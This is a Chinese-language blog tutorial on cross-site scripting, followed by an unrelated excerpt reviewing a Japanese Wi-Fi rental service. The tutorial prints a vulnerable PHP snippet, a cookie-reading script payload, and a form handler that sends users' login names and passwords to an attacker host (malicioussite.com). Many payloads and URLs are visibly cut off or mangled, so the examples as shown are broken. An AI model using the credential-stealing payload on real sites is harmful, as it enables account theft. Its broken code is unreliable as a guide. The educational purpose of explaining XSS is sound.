跳到主要內容

跨網站腳本攻擊 (Cross-Site Scripting,XSS)

  • 對象: 瀏覽者/程式設計師/資訊安全人員
  • 難易度: ★★★☆☆
  • 技術新舊:
  • 閱讀所需時間:

預備知識

  • 熟悉HTML、javascript和PHP語法

本文

  跨網站入侵字串(或稱跨站腳本攻擊)為一種HTML注入(HTML Injection)攻擊,是相當常見且具威脅性的網頁應用程式安全問題。跨網站入侵字串通常發生在網頁應用程式讀取來自使用者的資料時,沒有對這些資料 做驗證(validate)或是編碼(encode),就將資料傳送給用戶端的Web瀏覽器。攻擊者可以利用跨網站入侵字串漏洞,在受害者的瀏覽器執行腳 本(script),攔截使用者的sessions、破壞網站、插入惡意的內容、進行釣魚攻擊、甚至利用腳本惡意軟體(scripting malware)控制受害者的瀏覽器。惡意的腳本通常是JavaScript,但只要是受害者的瀏覽器支援的腳本語言都是此類型攻擊的潛在目標。
  目前已知有三種類型的跨網站入侵字串:反射(reflected) 、儲存(stored) 、及文件物件模型(Document Object Model,DOM)注入。

反射型的跨網站入侵字串

  反射型的跨網站入侵字串是最容易達成的攻擊;只要網頁程式直接呈現使用者提供的資料,攻擊者便有機可趁。假設有一個T網站的網頁內容如下:
$month=$_GET['month']; $year=$_GET['year'];
$day=$_GET['day'];
echo "\"day.php?year=$year&"
echo "month=$month&day=$day\">";
因為month、year、day是來自使用者輸入的資料,而且沒有經過檢查或是消毒,就直接被安插在傳給用戶端的網頁上,所以此網站會有反射型跨網站入侵字串的漏洞。   攻擊者發現T網站有反射型跨網站入侵字串的漏洞時,會試著透過電子郵件或網頁廣告等媒介散佈具有攻擊腳本的連結網址,舉例如下:
http://www.target.com/event_delete.php?year=>
一旦有受害者不小心點選了這個網址,其瀏覽器便會執行下面的內容:
<a href= "day.php?year=>
 
就會導致跨網站的入侵字串攻擊。   受害者一旦點了這個超連結,其瀏覽器就會送出HTTP 請求給這個網站來取得這個網頁。受害者的瀏覽器就會開始分析welcome.html中的程式碼。因為程式碼中有使用到document這個物件,其屬性 是URL,瀏覽器就會開始去讀取網址列上URL的內容,正常的部份分析完後,就會去執行後面具有惡意的JavaScript:
<script>alert(document.cookie)script>

攻擊情境

惡意腳本的連結
在這種情況下,攻擊者發出了一個特製的電子郵件發送到受害者連結含有惡意腳本,如下所示:
malicious code>Click here
當不知情的使用者點擊此鏈接,網址發送到legitimateSite.com包括惡意代碼。如果合法的服務器發送一個網頁回到使用者包含clientprofile值,惡意代碼將被執行在客戶端上的Web瀏覽器如下圖所示。
attacker_via_email.jpg
竊取使用者的cookies
如果網站有使用cookie,那麼它可能會竊取他們使用者的cookies。在這種情況下,攻擊者的網站內容含有惡意腳本是脆弱的。當網頁顯示執行該惡意 腳本,收集用戶的Cookie,並發出了一個請求攻擊者的網站的Cookie的收集。使用這種技術,攻擊者可以獲取敏感數據,如密碼,信用卡號碼,以及任 意用戶輸入的信息如下圖所示。 stealing_users_cookies.jpg


XSS攻擊的危害

1.盜取各類用戶帳號,如主機登錄帳號、使用者帳號、各類管理員帳號
2.控制企業資料,包括讀取、篡改、新增、刪除企業敏感性資料的能力
3.竊取企業重要的具有商業價值的資料
4.非法轉帳
5.強制發送電子郵件
6.網站掛馬
7.控制受害者主機,並向其它網站發起攻擊

常見的攻擊

一、網路銀行系統的弊端
  假設一個攻擊者試圖竊取虛擬的網路銀行網站(www.simplebank.com)上的一個用戶信息。要想登錄這個網站,攻擊者首先要輸入一個測試用戶身份 (「test」) 和密碼 (「test」)。當錯誤信息頁面出現,告知用戶身份和密碼組合錯誤時,這個攻擊者就找到了一個向網頁頁面中插入惡意代碼的理想時機。

  • 攻擊者首先將下面的信息輸入欄位:
  • 然後提交表單並看到這個JavaScript警告信息:」TO BE DONE.」,現在攻擊者知道這個網站容易受XSS類型的攻擊。
  • 接下來攻擊者會將類似於下方的腳本引入到URL中,這個URL將把所提交的用戶信息重定向到malicioussite.com。該代碼通常會將任何登錄到此網頁 網站的用戶的帳戶及密碼信息傳遞到攻擊者的網頁網站。
action="logoninformation.jsp" method="post" onsubmit="hackImg=new Image; hackImg.src='http://www.malicioussite.com/'+document.forms(1).login.value'+':'+ document.forms(1).password.value;"


  • 竊取用戶帳戶和密碼的腳本完成後,攻擊者就通過這個連結導向網路銀行網站的用戶發送具有誘惑的優惠信息的電子郵件。
  • 受到這些誘人的優惠信息的引誘,用戶有可能會點擊惡意連結並登錄到網路銀行網站。於是瀏覽器會執行攻擊者引入的惡意代碼,數據將被傳遞到攻擊者的網站。這樣攻擊者就輕而易舉地利用了受害者的憑證登錄到網路銀行網站。
這種情況常常發生在:

  1. 網頁服務器沒有採取充分的步驟,確保生成適當編碼的頁面。
  2. 沒有正確驗證輸入。

二、論壇網站和留言板佈告欄
  網頁上最常受攻擊就是搜索框和論壇網站。攻擊者會在腳本標記間插入惡意代碼,而網頁頁面會加以接受和解釋,根據所使用的頁面,採用的可能是FORM,也可能是APPLET標記。所插入的惡意代碼可以通過竊取會話信息或cookie進行各種破壞。
  由於網頁設計人員很難同時具備應對攻擊的多種語言和技術知識,所以這種漏洞很普遍。很多語言(CGI、JavaScript、ASP、Perl,甚至HTML標記)都很容易被這些攻擊利用。

三、附加到訊息和電子郵件的惡意連結
  攻擊者可以將有關於網路銀行網站的電子郵件發給用戶。假設電子郵件包含一個URL中嵌入了惡意代碼的連結。用戶可能會被提示點擊此惡意連結並登錄到該網站,攻擊者會借此獲得用戶的登錄信息。
  對於此連結內含有惡意代碼的動態生成頁面,我們以作為頁面的一部分的為例。
http://www.test.com/action.pl?param=

  如果攻擊者通過應用程序顯示一組HTML,這有可能就會帶來麻煩。IMG和IFRAME標記都允許在HTML顯示時加載新的URL。

四、搜索引擎
  回應搜索關鍵字的搜索引擎也容易遭受這類攻擊。因為惡意代碼可作為搜索關鍵字的一部分。因此,用戶提交搜索時,就會執行惡意的搜索關鍵字。這種危險包括訪問網站不願意被訪問或隱私的區域。
  例如,如下所示的代碼片斷在目標電腦上執行代碼。而攻擊者正是以這種方式插入HTML。

留言

這個網誌中的熱門文章

[試用心得] 日本無線上網超Wi-Ho(走SoftBank),一日不限流量NT299,可供多人使用,林氏璧讀者九五折優惠。

[試用心得] 日本無線上網超Wi-Ho(走SoftBank),一日不限流量NT299,可供多人使用,林氏璧讀者九五折優惠。 p.s.上面這張圖的吃到飽是錯的,Docomo小白機從去年就有限流量了,但特樂通聲稱Soft Bank小紅機是沒有限流量的。 我 是一個重度網路使用者,因為我有一個部落格需要管理。即使是在旅行的時候,我也很難忍受一天不能上網。去年從美國回來後終於入手了智慧型手機,這才發現這 個世界已經進步成什麼樣了!!一個小小手機就可以上網辦到好多事啊!!我也變成了一個低頭族,喜歡到處打卡,到了一個新地方就想上傳照片和粉絲專頁的朋友 們分享,或是用line或Skype和家人報平安。2012年8月我去東北的那一次是申請中華電信的漫遊,速度感覺不是很快或很穩定(當然也和東北多半比 較郊區有關)。這次回東京,終於試用到了網路上大名鼎鼎的上網神器:Wi-Ho。其實我想用用看WI-HO很久了,因為似乎比常用的B-MOBILE快很 多又不用裝SIM卡,這次終於有機會^^ 感謝日商特樂通資訊台灣分公司提供我們試用!!這次旅行途中一路暢通的網路,讓我體驗到活用各式App,google地圖等來定位,Tabelog找店家 等等的方便功能,真的深深感覺,傳統的玩東京的方式可以被行動上網徹底改變呢! 2013.7.19更新: 特樂通公司將推出兩台新機器,舊的小白機有可能慢慢淘汰,這篇介紹的小紅機還是不錯的選擇,但都有更好的機種了,請看: [新機上市] Wi-Ho黑旋風機(走Docomo適合郊區)及小黑機(走E-mobile適合城市),可使用超過十小時的日本無線上網新選擇,林氏璧讀者九五折優惠。 2013.7.3更新: 1.超WiHo! Softbank 3.5G (JP-S )(小紅機) 日本 $199/天 !! 說明:只有限前往日本及小紅機訊號優良地區,其他地區小紅機訊號不好處,需使用Docomo (JP-DM),仍維持原價$299 比方說我從6月15日借八天Soft bank小紅,不但一天199,整個金額會再打95折歐!快從這個林氏璧的專屬網址 線上申請 吧。(如果沒有打折,請在經銷商的欄位輸入linshibi,應該就會有打折了) 2.7~9月份使用的所有國家(包含日本),請即日起上網預訂,7~9月日本機器尚有充足貨源,...